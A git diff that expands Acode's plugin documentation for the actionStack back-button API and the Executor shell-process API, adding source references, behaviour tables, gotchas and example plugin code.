diff --git a/docs/advanced-apis/action-stack.md b/docs/advanced-apis/action-stack.md
index be4276a..4f1a751 100644
--- a/docs/advanced-apis/action-stack.md
+++ b/docs/advanced-apis/action-stack.md
@@ -2,6 +2,8 @@
 
 The Action Stack is a crucial component for managing back button behavior in Acode. It allows you to handle navigation and state management by maintaining a stack of actions that can be executed when users press the back button.
 
+Verified against Acode **v1.13.5** (versionCode `1011`): `src/lib/actionStack.js` in full, plus its call sites in `src/main.js`, `src/lib/loadPlugin.js`, `src/dialogs/*` and `src/pages/*`. Registered in `src/lib/acode.js:427` as `this.define("actionStack", actionStack)`.
+
 ## Getting Started
 
 To use the Action Stack in your plugin, first require it:
@@ -10,40 +12,89 @@ To use the Action Stack in your plugin, first require it:
 const actionStack = acode.require('actionStack');
 ```
 
+::: warning One global stack, shared by everything
+`src/lib/actionStack.js` holds a single module-level array. Every page, dialog, drawer, the search bar, the file browser and every other plugin share it, in one LIFO order. There is no per-plugin stack and no namespacing — an `id` is the only thing that keeps your entries addressable.
+:::
+
 ## Core Concepts
 
 The Action Stack works by maintaining a LIFO (Last In First Out) queue of actions. When the back button is pressed, the most recently added action is executed and removed from the stack.
 
+The hardware / gesture back button is wired to exactly one function in `src/main.js`:
+
+```js
+function backButtonHandler() {
+	if (keydownState.esc) {
+		keydownState.esc = false;
+		return;
+	}
+	actionStack.pop();
+}
+```
+
+::: warning Escape is treated as Back
+`keydownState.esc` makes the very next back press a no-op, so pressing Escape and then Back does nothing on the first press. Pop from your own code instead of relying on this.
+:::
+
+When the stack is **empty**, `pop()` does not fail — it asks for confirmation (when `settings.confirmOnExit` is on) and then calls `navigator.app.exitApp()`, first awaiting `actionStack.onCloseApp` if you set one. Acode itself sets `actionStack.onCloseApp = () => acode.exec("save-state")` in `src/main.js`.
+
 ## API Reference
 
+`src/lib/actionStack.js` default-exports a single object literal with these members:
+
+| Member | Type | Signature |
+| --- | --- | --- |
+| `length` | getter | `number` — current stack depth |
+| `onCloseApp` | accessor | get/set a `Function` called before the app exits |
+| `push(action)` | method | `(action: { id: string, action: Function }) => void` |
+| `pop(repeat?)` | method | `(repeat?: number) => Promise<void>` |
+| `get(id)` | method | `(id: string) => object \| undefined` |
+| `remove(id)` | method | `(id: string) => boolean` |
+| `has(id)` | method | `(id: string) => boolean` |
+| `setMark()` | method | `() => void` |
+| `clearFromMark()` | method | `() => void` |
+| `freeze()` | method | `() => void` |
+| `unfreeze()` | method | `() => void` |
+| `windowCopy()` | method | `() => object` — **deprecated**, see below |
+
 ### push(action)
 
-Adds a new action to the stack.
+Adds a new action to the stack. Returns `undefined`.
+
+The `action` object is stored **by reference**, not cloned, and nothing about it is validated. `id` is used by `get()`, `has()` and `remove()`; `action` is the callback `pop()` invokes.
 
 **Parameters:**
+
 - `action` (Object)
-		- `id` (string): Unique identifier for the action
-		- `action` (Function): Callback function to execute when back is pressed
+  - `id` (string): Unique identifier for the action. Not enforced — the same id may be pushed twice, and `remove()` then removes only the first match.
+  - `action` (Function): Callback function to execute when back is pressed.
+
+::: warning Push is unconditional
+`push()` never dedupes, never replaces and never throws — not even while frozen. If you push the same id twice, back will run the newest entry, and `remove(id)` removes the *oldest* one. Call `has()` (or `remove()`) before pushing if you manage the entry yourself.
+:::
 
 **Example:**
+
 ```js
 actionStack.push({
-		id: 'close-search',
-		action() {
-				searchPanel.hide();
-				editor.focus();
-		}
+  id: 'close-search',
+  action() {
+    searchPanel.hide();
+    editor.focus();
+  }
 });
 ```
 
 ### pop(repeat?)
 
-Executes and removes the most recent action from the stack.
+Executes and removes the most recent action from the stack. Returns a `Promise` (it is `async`).
 
 **Parameters:**
-- `repeat` (number, optional): Number of actions to pop and execute
+
+- `repeat` (number, optional): Number of actions to pop and execute.
 
 **Example:**
+
 ```js
 // Pop single action
 actionStack.pop();
@@ -52,20 +103,38 @@ actionStack.pop();
 actionStack.pop(3);
 ```
 
+**What actually happens, step by step:**
+
+1. If the stack is **frozen**, `pop()` returns immediately — it does nothing at all, not even the exit flow.
+2. If `repeat` is a number **greater than 1**, it recurses `repeat` times (`this.pop()` with no argument each time) and returns. Each recursive call is `async` but is *not* awaited, so the deeper pops are not sequential in practice.
+3. Otherwise it pops the newest entry and calls `fun.action()` **synchronously and without awaiting it**. If that callback returns a promise, the promise is ignored and `pop()` resolves anyway.
+4. If nothing was on the stack, it optionally shows a confirm dialog (`settings.confirmOnExit`) and, on confirmation, runs `onCloseApp` and `navigator.app.exitApp()`. A returned promise from `onCloseApp` is awaited via `.finally(exitApp)`.
+
+::: danger Your action must not throw
+`fun.action()` is called with no `try`/`catch` and no `.catch()`. A throwing action escapes into `pop()`'s promise and **leaves the entry already removed from the stack** — the state you meant to restore is gone and the exception escapes into the back-button handler. Wrap your own teardown in `try { ... } catch (e) { console.error(e); }`.
+:::
+
+::: warning `repeat` only matters when it is greater than 1
+The multi-pop branch is guarded by `typeof repeat === "number" && repeat > 1`. So `pop(1)` and `pop(0)` take the normal single-action path, and a non-numeric `repeat` is ignored entirely.
+:::
+
 ### get(id)
 
 Retrieves an action from the stack by its ID.
 
 **Parameters:**
-- `id` (string): The action identifier
 
-**Returns:** Action object if found, undefined otherwise
+- `id` (string): The action identifier.
+
+**Returns:** The stored action object if found, `undefined` otherwise. This is a **reference** to the live object, so mutating it mutates the stack entry.
 
 **Example:**
+
 ```js
 const searchAction = actionStack.get('close-search');
 if (searchAction) {
-		// Action exists
+  // Action exists — mutate or invoke it
+  searchAction.action();
 }
 ```
 
@@ -74,11 +143,21 @@ if (searchAction) {
 Removes an action from the stack without executing it.
 
 **Parameters:**
-- `id` (string): The action identifier
 
-**Returns:** boolean - True if action was found and removed
+- `id` (string): The action identifier.
+
+**Returns:** `boolean` — `true` if an action was found and removed.
+
+Only the **first** match is removed, scanning from the bottom of the stack. Acode's own `handlers/quickToolsState.js` shows the idiom for removing every duplicate:
+
+```js
+export function removeActionStackEntries(actionStack, id) {
+  while (actionStack.remove(id)) {}
+}
+```
 
 **Example:**
+
 ```js
 actionStack.remove('close-search');
 ```
@@ -88,72 +167,357 @@ actionStack.remove('close-search');
 Checks if an action exists in the stack.
 
 **Parameters:**
-- `id` (string): The action identifier
 
-**Returns:** boolean - True if action exists
+- `id` (string): The action identifier.
+
+**Returns:** `boolean` — `true` if any entry with that id exists.
 
 **Example:**
+
 ```js
 if (actionStack.has('close-search')) {
-		// Action exists in stack
+  // Action exists in stack
 }
 ```
 
+### length
+
+A getter, not a function. Read it directly:
+
+```js
+console.log(actionStack.length); // e.g. 3
+```
+
+::: warning Read it, do not assign
+`length` is defined with a getter and no setter. Assigning to it has no effect (and throws a `TypeError` in strict-mode code). To empty part of the stack, use `clearFromMark()` or `pop(n)`.
+:::
+
 ### Stack Markers
 
-The Action Stack provides methods to mark positions and clear actions above them:
+The Action Stack provides methods to mark positions and clear actions above them.
 
 #### setMark()
-Sets a marker at the current stack position.
+
+Sets a marker at the current stack position: `mark = stack.length`. There is only **one** marker; calling it again overwrites the previous position.
 
 #### clearFromMark()
-Removes all actions added after the last marker.
+
+Removes all actions added after the last marker with `stack.splice(mark)`, then resets the marker to `null`. If no marker was ever set, it is a no-op — and note that it clears without executing.
 
 **Example:**
+
 ```js
 // Mark current position
 actionStack.setMark();
 
 // Add temporary actions
 actionStack.push({
-		id: 'temp-action',
-		action() {
-				// Handle temporary state
-		}
+  id: 'temp-action',
+  action() {
+    // Handle temporary state
+  }
 });
 
 // Clear all actions added since mark
 actionStack.clearFromMark();
 ```
 
+The file browser uses exactly this pattern: `actionStack.setMark()` when it opens, then `clearFromMark()` plus `remove("filebrowser")` when it closes.
+
+### freeze() / unfreeze()
+
+`freeze()` sets a module-level flag that makes `pop()` a complete no-op; `unfreeze()` clears it. Nothing else observes the flag — `push()`, `remove()`, `get()`, `has()` and `setMark()` all keep working while frozen.
+
+Acode uses it for modal loaders (`src/dialogs/loader.js`): `actionStack.freeze()` when the loader appears and `actionStack.unfreeze()` 300 ms later, once the fade-out has removed the dialog. That is the pattern to copy for a blocking overlay of your own.
+
+::: danger An unbalanced `freeze()` breaks Back for the whole app
+`freeze` is a module-level `let freeze = false` (`src/lib/actionStack.js:7`), set by `freeze()` and cleared by `unfreeze()` (`actionStack.js:141-146`) — **a boolean pair, not a counter.** `unfreeze()` is a plain assignment, so calling it when nothing is frozen is harmless and never throws; there is nothing to guard against.
+
+The danger is the other direction. If your plugin calls `freeze()` and then crashes, is disabled, is updated, or simply throws before the matching `unfreeze()`, the flag stays `true` for the rest of the process. `pop()` then returns on its very first line (`if (freeze) return;`, `actionStack.js:62`) — so Back is a **no-op app-wide**, and the user cannot even reach the exit flow until Acode restarts.
+
+So: **call `actionStack.unfreeze()` from your `acode.setPluginUnmount` handler, unconditionally**, and reset your own depth counter in the same place so the two can never disagree. That handler is the only safety net — `acode.unmountPlugin` (`src/lib/acode.js:784-800`) runs it on disable, uninstall and update, and nothing else will clear the flag for you.
+:::
+
+::: warning `freeze()` is not re-entrant
+It is a boolean, not a counter. Two overlapping loaders that both freeze will both call `unfreeze()`, and the first one to finish releases the stack while the second is still up. If you freeze yourself, track your own depth and only call `unfreeze()` when it returns to zero.
+:::
+
+### onCloseApp
+
+A get/set accessor, not a method. Reading it returns the callback (or `undefined`); assigning replaces it globally — there is only one, and Acode overwrites it with `() => acode.exec("save-state")` at startup.
+
+Acode's own store-and-exit example:
+
+```js
+actionStack.onCloseApp = () => acode.exec("save-state");
+```
+
+A promise returned by your callback is awaited and `exitApp()` runs in its `finally`, so an async cleanup is respected. If it returns a non-promise, `exitApp()` runs immediately.
+
+::: danger Setting this replaces Acode's session save
+Acode assigns `onCloseApp` once during startup. If you assign it, the user is relying on *your* callback to persist state — call `acode.exec("save-state")` yourself or you will lose the editor session on exit. Always read the previous value first if you must wrap it.
+:::
+
+### windowCopy() <Badge type="tip" text="deprecated" />
+
+Returns a shallow copy of the module with a wrapped `pop()` that logs `"Deprecated: \`window.actionStack\` is deprecated, import \`actionStack\` instead"` and then delegates. `src/main.js` uses it for `window.actionStack = actionStack.windowCopy()`.
+
+It copies the **current** value of the `length` getter and `onCloseApp` accessor as plain properties, so the copy's `length` is frozen at that moment. Do not use it in a plugin; use `acode.require('actionStack')`.
+
+## Ordering Semantics
+
+| Question | Answer |
+| --- | --- |
+| Is it LIFO? | Yes — `stack.pop()` takes the newest entry. |
+| Are actions executed in registration order? | No, reverse. |
+| Does a popped action re-add itself? | Only if your callback pushes again, which is how a page that stays open can survive back. Acode's own search bar uses `actionStack.get("search-bar")?.action()`. |
+| Are async actions awaited? | No. `fun.action()` is invoked bare; its return value is discarded. |
+| Is `id` required? | No, but `get`/`has`/`remove` are useless without one. |
+| Is the id unique? | Not enforced. Duplicates are allowed and `remove()` takes the oldest. |
+| Does a thrown action leave the stack intact? | No — the entry is already removed. |
+
+## How Pages, Dialogs and the Editor Push and Pop
+
+Every interactive surface in Acode follows the same three-line pattern: push on open, remove on close.
+
+**A plugin page — automatic.** `src/lib/loadPlugin.js` wires your plugin's `$page` for you:
+
+```js
+const $page = Page("Plugin");
+$page.show = () => {
+  actionStack.push({
+    id: pluginId,
+    action: $page.hide,
+  });
+
+  app.append($page);
+};
+
+$page.onhide = function () {
+  actionStack.remove(pluginId);
+};
+```
+
+That is the whole mechanism: **you do not need to push anything for your plugin page to participate in back navigation.** It is already done, keyed by your plugin id. Pushing your own entries on top of it is how you layer sub-screens, and the action-stack order guarantees yours are popped first.
+
+**Dialogs.** `src/dialogs/confirm.js`, `alert.js`, `select.js`, `prompt.js`, `multiPrompt.js`, `color.js` and `dialog.js` all push a unique id on open and `actionStack.remove(actionId)` in their `hide()` — so dismissing a dialog with back does not leave a stale entry behind.
+
+```js
+actionStack.push({
+  id: actionId,     // e.g. "confirm-<n>", unique per open dialog
+  action: cancel,   // what back should do: the cancel path
+});
+// ...
+function hide() {
+  actionStack.remove(actionId);
+  hideAlert();
+}
+```
+
+**Nested pages.** `src/pages/*` (about, plugins, plugin, problems, sponsors, settings, changelog, font manager, …) each push a stable literal id such as `"about"`, `"plugins"`, `"plugin"` or `"problems"` on show and remove it on close. `handlers/quickTools.js` pushes `"search-bar"`, the file browser pushes one entry per opened directory **keyed by the directory url**, and its selection mode pushes `"fbSelection"`.
+
+**The editor itself.** The editor tabs are *not* on the action stack. Back from a clean editor goes to the empty-stack exit flow.
+
+**WebViews.** A fullscreen WebView runs in its own Android activity and therefore never touches this stack — see [WebView](./webview.md#relationship-with-the-action-stack).
+
+**Loaders.** `dialogs/loader.js` freezes the stack instead of pushing, so a modal loader swallows back entirely.
+
+## How a Plugin Uses It
+
+Add a layer on top of the automatic plugin-page entry:
+
+```js
+const actionStack = acode.require('actionStack');
+
+function openSubScreen($subScreen) {
+  // Back closes the sub-screen, not the plugin page.
+  actionStack.push({
+    id: 'my-plugin-sub-screen',
+    action() {
+      closeSubScreen();
+    },
+  });
+
+  app.append($subScreen);
+}
+
+function closeSubScreen() {
+  actionStack.remove('my-plugin-sub-screen');
+  $subScreen.remove();
+}
+```
+
+Make it survive back when it should:
+
+```js
+function openSubScreen($subScreen) {
+  if (actionStack.has('my-plugin-sub-screen')) return;
+
+  actionStack.push({
+    id: 'my-plugin-sub-screen',
+    action() {
+      // `pop()` has already removed this entry. Re-push so the next back
+      // press can close it again, or forward to the plugin page.
+      $subScreen.hide();
+      actionStack.push({
+        id: 'my-plugin-sub-screen',
+        action: () => $subScreen.remove(),
+      });
+    },
+  });
+
+  app.append($subScreen);
+}
+```
+
+## Gotchas <Badge type="tip" text="new" />
+
+- `pop()` with an empty stack exits the app (after an optional confirm). Anything you forget to `remove()` keeps the user one press away from the exit dialog instead of leaving your screen.
+- `pop()` is `async` but does not await your action. Do not rely on back-press ordering for async cleanup.
+- A throwing action is not caught and the entry is already gone.
+- `freeze()`/`unfreeze()` are a boolean pair, not a counter. A freeze you never release makes Back a **permanent no-op app-wide** until Acode restarts — always `unfreeze()` in `acode.setPluginUnmount`.
+- `clearFromMark()` clears without executing, and a single mark is shared globally.
+- `onCloseApp` is a single global slot that Acode already owns.
+- `length` is a getter with no setter.
+- `windowCopy()` is deprecated; `window.actionStack` logs an error on every `pop()`.
+- `push()` accepts any object. If `action` is not a function, back throws `fun.action is not a function`.
+- `remove(id)` removes the **oldest** duplicate, `pop()` executes the **newest**.
+
 ## Example
 
 Here's a complete example showing how to use the Action Stack for managing a file preview feature:
 
 ```js
+const actionStack = acode.require('actionStack');
+
 class FilePreviewPlugin {
-		async showPreview(file) {
-				// Create preview UI
-				const preview = document.createElement('div');
-				preview.className = 'preview-container';
-				preview.innerHTML = await this.renderPreview(file);
-				document.body.appendChild(preview);
-
-				// Add to action stack
-				actionStack.push({
-						id: `preview-${file.name}`,
-						action: () => {
-								// Clean up preview when back is pressed
-								preview.remove();
-								editor.focus();
-						}
-				});
-		}
-
-		async renderPreview(file) {
-				// Preview rendering logic
-		}
+  async showPreview(file) {
+    // Create preview UI
+    const preview = document.createElement('div');
+    preview.className = 'preview-container';
+    preview.innerHTML = await this.renderPreview(file);
+    document.body.appendChild(preview);
+
+    // Only one preview at a time — the id is stable for this purpose.
+    if (actionStack.has(`preview-${file.name}`)) return;
+
+    // Add to action stack
+    actionStack.push({
+      id: `preview-${file.name}`,
+      action: () => {
+        // Clean up preview when back is pressed.
+        // `pop()` already removed the entry before calling us.
+        preview.remove();
+        editor.focus();
+      }
+    });
+  }
+
+  async renderPreview(file) {
+    // Preview rendering logic
+  }
 }
 ```
 
 When the user clicks the back button, the preview will be automatically cleaned up and focus returned to editor.
+
+## Complete plugin lifecycle <Badge type="tip" text="new" />
+
+Everything above, wired together the way a real plugin should — push on show, remove on close, and never leave an entry behind on unmount. Plugins are loaded as **classic scripts**, so there are no `import` / `export` statements.
+
+```js
+const PLUGIN_ID = 'com.example.plugin';
+const actionStack = acode.require('actionStack');
+const Page = acode.require('page');
+
+const PREVIEW_ID = 'my-plugin-preview';
+const OVERLAY_ID = 'my-plugin-settings';
+
+let $preview = null;
+let $overlay = null;
+
+function showPreview(html) {
+  // Guard against a second push with the same id.
+  if (actionStack.has(PREVIEW_ID)) return;
+
+  $preview = Page('Preview');
+  $preview.innerHTML = html;
+
+  actionStack.push({
+    id: PREVIEW_ID,
+    action: () => {
+      // `pop()` removed this entry already, so no `remove()` here.
+      // Never let a throwing action escape `pop()`.
+      try {
+        $preview.remove();
+      } catch (error) {
+        console.error('preview teardown failed', error);
+      }
+      $preview = null;
+    },
+  });
+
+  app.append($preview);
+}
+
+function closePreview() {
+  // Explicit close (a button, for example): remove without executing.
+  actionStack.remove(PREVIEW_ID);
+  $preview?.remove();
+  $preview = null;
+}
+
+function openSettings($settings) {
+  $overlay = $settings;
+
+  actionStack.push({
+    id: OVERLAY_ID,
+    action: closeSettings,
+  });
+
+  app.append($overlay);
+}
+
+function closeSettings() {
+  actionStack.remove(OVERLAY_ID);
+  $overlay?.remove();
+  $overlay = null;
+}
+
+// Freeze the stack while a blocking overlay of our own is up. Track our own
+// depth, because freeze()/unfreeze() are a boolean pair, not a counter.
+let freezeDepth = 0;
+
+function showBlockingOverlay($node) {
+  if (freezeDepth++ === 0) actionStack.freeze();
+  app.append($node);
+}
+
+function hideBlockingOverlay($node) {
+  $node.remove();
+  if (--freezeDepth === 0) actionStack.unfreeze();
+}
+
+// The safety net for any freeze() above that never reached its unfreeze().
+function releaseFreezes() {
+  freezeDepth = 0;
+  // unfreeze() is a plain assignment, so this is harmless when nothing is
+  // frozen — which is exactly why it can be unconditional.
+  actionStack.unfreeze();
+}
+
+// Plugin unload / disable / update. Every id we pushed is removed here so a
+// reload never inherits a stale entry.
+acode.setPluginUnmount(PLUGIN_ID, () => {
+  actionStack.remove(PREVIEW_ID);
+  actionStack.remove(OVERLAY_ID);
+  $preview = null;
+  $overlay = null;
+
+  // SAFETY NET: the freeze flag is module-level in `src/lib/actionStack.js`,
+  // so a freeze left behind by a crash in the code above outlives this
+  // plugin. `pop()` then returns immediately (`actionStack.js:62`) and Back
+  // does nothing anywhere in the app. Always run this.
+  releaseFreezes();
+});
+```
\ No newline at end of file
diff --git a/docs/advanced-apis/executor.md b/docs/advanced-apis/executor.md
index c980ca2..61cf9cf 100644
--- a/docs/advanced-apis/executor.md
+++ b/docs/advanced-apis/executor.md
@@ -14,7 +14,7 @@ const Executor = globalThis.Executor; // Executor instance
 const background = Executor.BackgroundExecutor; // BackgroundExecutor instance
 ```
 
-Both instances share the same methods.
+Both instances share the same **JavaScript** class — but they are backed by two different native plugins, so they do **not** support the same actions. See [The two instances are not identical](#the-two-instances-are-not-identical).
 
 > [!NOTE]
 > **Which executor should I use?**
@@ -22,6 +22,89 @@ Both instances share the same methods.
 > - Use the **background executor** (`Executor.BackgroundExecutor`) for **short-running commands**. It starts processes directly with no foreground service and no notification, so it is lighter, but Android can kill the process once the app leaves the foreground. Use it for quick, self-contained commands that finish in seconds.
 > - Use the **foreground executor** (`Executor`) for **long-running commands**. Its processes run under a foreground service with a persistent notification, which keeps them alive while the app is in the background. This is the default mode; `moveToForeground()` / `moveToBackground()` switch it at runtime.
 
+### `Executor` is **not** requirable <Badge type="tip" text="new" />
+
+This is the single most common mistake with this API. **`acode.require("Executor")` returns `undefined`.**
+
+| Access | Works? |
+| --- | --- |
+| `acode.require("Executor")` | ❌ returns `undefined` |
+| `acode.require("executor")` | ❌ returns `undefined` |
+| `window.Executor` | ✅ |
+| `globalThis.Executor` | ✅ |
+| Bare `Executor` | ✅ (same global, but shadow it with `const` and you lose it for nested code) |
+
+Evidence:
+
+- `Acode#define(name, module)` stores modules in a private `#modules` map keyed by `name.toLowerCase()`, and `require(module)` is a plain lookup in that map. **Nothing anywhere in `src/` calls `this.define("Executor", …)`** — the only terminal-adjacent registration is `this.define("terminal", terminalModule)`.
+- `Executor` is instead a **Cordova clobber**. `src/plugins/terminal/plugin.xml` declares:
+
+  ```xml
+  <js-module name="Executor" src="www/Executor.js">
+      <clobbers target="window.Executor" />
+  </js-module>
+  ```
+
+  and `www/Executor.js` ends with `module.exports = executorInstance;`.
+- Acode's own typings agree: `src/index.d.ts` declares `Executor` only as a global (`declare const Executor: Executor | undefined;` plus `declare global { var Executor: Executor | undefined; }`) — there is no `require(module: "Executor")` overload.
+
+::: danger Always null-check it
+`src/index.d.ts` types the global as `Executor | undefined`, and Acode itself guards before use (`if (typeof Executor === "undefined")`). Do the same, because a plugin can load before the Cordova clobber is applied:
+
+```js
+const executor = globalThis.Executor;
+if (!executor) {
+  acode.toast('Terminal plugin is not ready');
+  return;
+}
+```
+:::
+
+::: warning Do not shadow the global
+`const Executor = globalThis.Executor;` works, but any inner scope that also declares `Executor` silently changes which executor a nested call uses. Prefer `const exec = globalThis.Executor;` and pass it around.
+:::
+
+### The two instances are **not** identical <Badge type="tip" text="corrected" />
+
+`Executor.BackgroundExecutor` is a **second, independent native plugin class**, not a mode flag. `BackgroundExecutor.java` only implements these actions:
+
+`start`, `write`, `stop`, `exec`, `isRunning`, `listProcesses`, `listAllProcesses`, `killProcess`, `loadLibrary`, `setProotDebug`
+
+Everything else falls into its `default:` branch and **rejects** with `"Unknown action: …"`. So:
+
+| Method | `Executor` (foreground) | `Executor.BackgroundExecutor` |
+| --- | --- | --- |
+| `execute`, `start`, `write`, `stop`, `isRunning` | ✅ | ✅ |
+| `listProcesses`, `listAllProcesses`, `killProcess` | ✅ | ✅ |
+| `loadLibrary`, `setProotDebug` | action accepted, but `loadLibrary` always rejects | action accepted, but `loadLibrary` always rejects |
+| `spawnStream` | ✅ (handled before service binding) | ❌ rejects, `"Unknown action: spawnStream"` |
+| `moveToForeground`, `moveToBackground` | ✅ | ❌ rejects, `"Unknown action: moveToForeground"` |
+| `stopService` | ✅ | ❌ rejects, `"Unknown action: stopService"` |
+
+"Both instances share the same methods" is true of the **JavaScript** class (`Executor.js` gives both the same prototype) and false of the **native** side. Always call `spawnStream` and the three service-control methods on `Executor` only.
+
+::: warning "Both instances share the same methods" is only half true
+`Executor.js` builds both objects from the same class, so the methods exist in JS. But `Executor` and `BackgroundExecutor` are two different `CordovaPlugin` classes with different `switch` blocks. Calling a service-control method on the background instance **rejects**; it does not silently no-op.
+:::
+
+### Where commands actually run <Badge type="tip" text="new" />
+
+Both executors delegate to the same `ProcessManager`, which does exactly this:
+
+```java
+String xcmd = useAlpine ? "source $PREFIX/init-sandbox.sh " + cmd : cmd;
+ProcessBuilder builder = new ProcessBuilder("sh", "-c", xcmd);
+```
+
+- **Everything runs through `sh -c`.** There is no direct `execve`; your `command` string is always shell text.
+- `alpine = true` prefixes `source $PREFIX/init-sandbox.sh ` to your command — the AXS/proot sandbox. `alpine = false` (the default) runs on the plain Android shell under the app's own UID.
+- The environment is always seeded with `PREFIX` (app files dir), `NATIVE_DIR` (native library dir), `ANDROID_TZ`, and `FDROID`. When proot debug is on, `PROOT_VERBOSE=2` is added.
+- `spawnStream()` is the exception: it runs `new ProcessBuilder(cmd)` with **no** environment setup and `redirectErrorStream(true)`, and its signature has no `alpine` parameter at all.
+
+::: danger No plugin-declared permission gates any of this
+`Executor` is part of the app's own Cordova build. Its `plugin.xml` declares `WAKE_LOCK`, `FOREGROUND_SERVICE`, `FOREGROUND_SERVICE_SPECIAL_USE` and `POST_NOTIFICATIONS` into the **app** manifest — there is no runtime check against the calling plugin, and no manifest field a plugin can use to request it. Any plugin can spawn a shell. See [System](./system.md) for the same situation.
+:::
+
 ## One-off execution
 
 ### `execute(command, alpine?)`
@@ -29,8 +112,8 @@ Both instances share the same methods.
 - Purpose: Runs a single shell command and waits for it to finish. Output is returned after the process exits (no live streaming of output).
 - Parameters:
   - `command` (string): The command to run.
-  - `alpine` (boolean, optional): Run inside the Alpine sandbox when `true`; run in the Android environment when `false`.
-- Returns: `Promise<string>` that resolves with stdout on success, or rejects with an error/stderr on failure.
+  - `alpine` (boolean, optional, default `false`): Run inside the Alpine sandbox when `true`; run in the Android environment when `false`.
+- Returns: `Promise<string>`. Resolves with **trimmed stdout** when the exit code is `0`; **rejects** with trimmed stderr (or `"Command exited with code: N"` when stderr is empty) otherwise.
 
 ```js
 // Outputting hello on stdout
@@ -49,6 +132,10 @@ console.log(output);
 > [!Warning]
 > Do not run things like an infinite loop or a shell because `execute()` waits for the process to exit and a shell never exits on its own, avoid running those commands with this function.
 
+::: tip `execute()` is not filtered
+Unlike [`terminal.write()`](./terminal.md#the-write-security-filter), there is **no command blocklist** on `Executor.execute()`. It runs whatever you pass. Validate any user- or file-derived arguments yourself before interpolating them.
+:::
+
 ## Long-running processes
 
 ### `start(command, onData, alpine?)`
@@ -56,23 +143,25 @@ console.log(output);
 - Starts a shell process and enables real-time streaming of `stdout`, `stderr`, and `exit`.
 - Parameters:
   - `command` (string): The command to run (e.g. `"sh"`, `"ls -al"`).
-  - `onData` (function): `(type, data) => void`. `type` is `"stdout"`, `"stderr"`, or `"exit"` (the process exit code); `data` is the output line or exit code.
-  - `alpine` (boolean, optional): Run inside the Alpine sandbox when `true`.
+  - `onData` (function): `(type, data) => void`. `type` is `"stdout"`, `"stderr"`, or `"exit"` (the process exit code); `data` is the output **line** or exit code. A frame that does not parse as `^([^:]+):(.*)$` is delivered as `("unknown", message)`.
+  - `alpine` (boolean, optional, default `false`): Run inside the Alpine sandbox when `true`.
 - Returns: `Promise<string>` resolving to a unique process UUID used by `write()`, `stop()`, and `isRunning()`.
 
 ```js
 const uuid = await Executor.start("sh", (type, data) => {
   console.log(`[${type}] ${data}`);
 });
-Executor.write(uuid, "echo Hello World\r");
-Executor.stop(uuid);
+await Executor.write(uuid, "echo Hello World\r");
+await Executor.stop(uuid);
 ```
 
+The UUID is delivered as the **first** native callback, before any output, and the promise is resolved with it. `stdout`/`stderr` arrive **line by line** (`StreamHandler.streamOutput` reads with a `BufferedReader`), so partial lines are never delivered, but a single line has no size cap. There is no backpressure and no ring buffer: a chatty process will call `onData` thousands of times, and every call crosses the Cordova bridge.
+
 ### `write(uuid, input)`
 
 Sends input to a running process's stdin.
 
-- Returns: `Promise<string>`.
+- Returns: `Promise<string>` resolving with `"Written to process"`. **Rejects** with `"Process not found or closed"` if the uuid is unknown (background executor), or `"Write error: …"` on an `IOException`.
 
 ```js
 await Executor.write(uuid, "ls /sdcard\r");
@@ -82,13 +171,13 @@ await Executor.write(uuid, "ls /sdcard\r");
 
 Terminates a running process.
 
-- Returns: `Promise<string>`.
+- Returns: `Promise<string>` resolving with `"Process terminated"`. The background executor kills the whole **process group** (`kill -9 -<pid>`) and then `destroy()`s the `Process`, so children die too. Rejects with `"No such process"` for an unknown uuid.
 
 ### `isRunning(uuid)`
 
 Checks whether a process is still running.
 
-- Returns: `Promise<boolean>`.
+- Returns: `Promise<boolean>`. The native side answers `"running"`, `"exited"`/`"stopped"`, or `"not_found"`; the JS wrapper collapses all three non-`"running"` answers to **`false`**, so you cannot distinguish "finished" from "never existed".
 
 ```js
 if (await Executor.isRunning(uuid)) {
@@ -104,6 +193,25 @@ Spawns a process and exposes it as a raw WebSocket stream. Once the process is r
   - `cmd` (string[]): Command and arguments (e.g. `["sh", "-c", "echo hi"]`).
   - `callback` (function): `(ws) => void`.
   - `onError` (function, optional): error handler.
+- Returns: **`undefined`** — this method is callback-only and wraps no promise. It resolves an ephemeral local port internally and connects to `ws://127.0.0.1:<port>`.
+
+```js
+Executor.spawnStream(
+  ["sh", "-c", "while read l; do echo \"got: $l\"; done"],
+  (ws) => {
+    ws.send("hello\n");   // message frames are forwarded to stdin
+  },
+  (err) => console.error(err),
+);
+```
+
+::: warning `spawnStream()` is foreground-executor only and behaves differently
+- Native `BackgroundExecutor` has no `spawn` case → it rejects with `"Unknown action: spawnStream"`.
+- It uses `new ProcessBuilder(cmd)` directly, so **no** `sh -c`, **no** Acode environment (`PREFIX`, `NATIVE_DIR`, `FDROID`, … are absent) and **no** `alpine` option whatsoever. Put `-c` in `cmd` yourself if you need a shell.
+- `redirectErrorStream(true)` means **stderr is merged into the same stream**; you cannot separate them.
+- Frames are binary `ArrayBuffer` chunks (`ws.binaryType = "arraybuffer"`), truncated at the server's 8 KB buffer. Chunk boundaries are arbitrary and may split UTF-8 sequences.
+- Closing the socket destroys the process (`onClose` → `process.destroy()`).
+:::
 
 ## Managing processes
 
@@ -111,33 +219,49 @@ Spawns a process and exposes it as a raw WebSocket stream. Once the process is r
 
 Lists the processes currently managed by this Executor.
 
-- Returns: `Promise<Array<{ id, command, alpine, startedAt, background }>>`. `background` is `true` for a `BackgroundExecutor`.
+- Returns: `Promise<Array<{ id, command, alpine, startedAt, pid, background }>>`. `background` is added by the JS wrapper and is `true` for a `BackgroundExecutor`. `pid` is the real OS pid; `startedAt` is a `Date.now()` timestamp.
+- Only **live** processes are listed — dead ones are skipped, so the list changes without any event.
+- The foreground `Executor` returns an **empty array immediately** when its service is not yet bound, rather than starting the service.
+
+```js
+for (const p of await Executor.listProcesses()) {
+  console.log(p.background ? 'bg' : 'fg', p.id, p.pid, p.command);
+}
+```
 
 ### `listAllProcesses()`
 
 Lists all running OS processes under the app's user id.
 
-- Returns: `Promise<Array<{ pid, ppid, name, command, state, memory, isSelf }>>`.
+- Returns: `Promise<Array<{ pid, ppid, name, command, state, memory, isSelf, startedAt }>>`, read straight from `/proc`. `memory` is `VmRSS` **in kB**, `ppid` is `-1` when unreadable, and `startedAt` is the `/proc/<pid>` directory mtime (not a real start time). Processes owned by other UIDs are filtered out; unreadable ones are skipped.
 
 ### `killProcess(pid)`
 
 Forcefully kills a process by its native PID.
 
-- Returns: `Promise<string>`.
+- Returns: `Promise<string>` resolving with `"Process terminated"`.
